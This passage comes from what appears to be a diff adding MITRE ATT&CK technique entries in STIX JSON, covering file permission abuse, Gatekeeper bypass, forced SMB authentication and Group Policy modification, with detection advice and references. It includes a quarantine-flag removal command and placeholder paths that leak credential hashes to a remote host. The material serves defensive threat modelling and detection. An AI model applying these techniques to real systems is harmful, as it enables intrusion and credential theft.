"https://attack.mitre.org/techniques/T1222", + "source_name": "mitre-attack", + "external_id": "T1222" + }, + { + "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces", + "source_name": "Microsoft DACL May 2018", + "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018." + }, + { + "url": "https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights", + "source_name": "Microsoft File Rights May 2018", + "description": "Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018." + }, + { + "url": "https://www.tutorialspoint.com/unix/unix-file-permission.htm", + "source_name": "Unix File Permissions", + "description": "Tutorials Point. (n.d.). Unix / Linux - File Permission / Access Modes. Retrieved August 19, 2018." + }, + { + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018." + }, + { + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018." + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/icacls", + "source_name": "Microsoft icacls OCT 2017", + "description": "Plett, C. et al.. (2017, October 17). icacls. Retrieved August 19, 2018." + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/attrib", + "source_name": "Microsoft attrib OCT 2017", + "description": "Plett, C. et al.. (2017, October 15). attrib. Retrieved August 19, 2018." + }, + { + "url": "https://linux.die.net/man/1/chmod", + "source_name": "Linux chmod", + "description": "MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. Retrieved August 19, 2018." + }, + { + "url": "https://linux.die.net/man/1/chown", + "source_name": "Linux chown", + "description": "MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. Retrieved August 19, 2018." + }, + { + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/", + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018." + }, + { + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/takeown", + "source_name": "Microsoft takeown OCT 2017", + "description": "Plett, C. et al.. (2017, October 15). takeown. Retrieved August 19, 2018." + }, + { + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl", + "source_name": "Microsoft SetAcl", + "description": "Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Jan Miller, CrowdStrike" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "File system access controls" + ], + "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "name": "File Permissions Modification", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)\n\nAdversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1006", + "source_name": "mitre-attack", + "external_id": "T1006" + }, + { + "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", + "source_name": "Hakobyan 2009", + "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014." + }, + { + "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1", + "source_name": "Github PowerSploit Ninjacopy", + "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_data_sources": [ + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "name": "File System Logical Offsets", + "created": "2017-05-31T21:30:20.934Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", + "x_mitre_defense_bypassed": [ + "File monitoring", + "File system access controls" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1044", + "source_name": "mitre-attack", + "external_id": "T1044" + }, + { + "url": "https://capec.mitre.org/data/definitions/17.html", + "source_name": "capec", + "external_id": "CAPEC-17" + }, + { + "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "source_name": "Mozilla Firefox Installer DLL Hijack", + "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017." + }, + { + "url": "http://seclists.org/fulldisclosure/2015/Dec/34", + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Services", + "Process command-line parameters" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "x_mitre_effective_permissions": [ + "SYSTEM", + "User", + "Administrator" + ], + "created": "2017-05-31T21:30:43.063Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", + "name": "File System Permissions Weakness" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1083", + "source_name": "mitre-attack", + "external_id": "T1083" + }, + { + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "name": "File and Directory Discovery", + "created": "2017-05-31T21:31:04.710Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n### Windows\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "external_id": "T1495", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1495" + }, + { + "url": "https://www.symantec.com/security-center/writeup/2000-122010-2655-99", + "source_name": "Symantec Chernobyl W95.CIH", + "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019." + }, + { + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "BIOS", + "Component firmware" + ], + "modified": "2019-04-29T13:50:06.026Z", + "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "name": "Firmware Corruption", + "created": "2019-04-12T18:28:15.451Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.", + "x_mitre_permissions_required": [ + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1187", + "source_name": "mitre-attack", + "external_id": "T1187" + }, + { + "url": "https://en.wikipedia.org/wiki/Server_Message_Block", + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017." + }, + { + "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/", + "source_name": "Didier Stevens WebDAV Traffic", + "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017." + }, + { + "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx", + "source_name": "Microsoft Managing WebDAV Security", + "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017." + }, + { + "url": "https://github.com/hob0/hashjacking", + "source_name": "GitHub Hashjacking", + "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017." + }, + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf", + "source_name": "Cylance Redirect to SMB", + "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017." + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017." + }, + { + "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/", + "source_name": "Osanda Stealing NetNTLM Hashes", + "description": "Malith, O. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Teodor Cimpoesu", + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Network protocol analysis", + "Network device logs", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "name": "Forced Authentication", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials, or reuse it for [Pass the Hash](https://attack.mitre.org/techniques/T1075). (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1144", + "source_name": "mitre-attack", + "external_id": "T1144" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + }, + { + "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", + "source_name": "Clearing quarantine attribute", + "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017." + }, + { + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017." + }, + { + "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", + "source_name": "Bypassing Gatekeeper", + "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "name": "Gatekeeper Bypass", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1061", + "source_name": "mitre-attack", + "external_id": "T1061" + }, + { + "url": "https://en.wikipedia.org/wiki/Run_command", + "source_name": "Wikipedia Run Command", + "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "modified": "2019-02-19T16:10:24.163Z", + "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "name": "Graphical User Interface", + "created": "2017-05-31T21:30:50.342Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "external_id": "T1484", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484" + }, + { + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", + "source_name": "TechNet Group Policy Basics", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019." + }, + { + "url": "https://adsecurity.org/?p=2716", + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019." + }, + { + "url": "https://wald0.com/?p=179", + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019." + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", + "source_name": "Harmj0y Abusing GPO Permissions", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019." + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", + "source_name": "Mandiant M Trends 2016", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019." + }, + { + "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/", + "source_name": "Microsoft Hacking Team Breach", + "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019." + }, + { + "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "source_name": "Harmj0y SeEnableDelegationPrivilege Right", + "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Itamar Mizrahi", + "Tristan Bennett, Seamless Intelligence" + ], + "x_mitre_data_sources": [ + "Windows event logs" + ], + "modified": "2019-04-29T14:11:49.052Z", + "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "System access controls", + "File system access controls" + ], + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "name": "Group Policy Modification", + "created": "2019-03-07T14:10:32.650Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. \n\nGroup policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", + "x_mitre_permissions_required": [ + 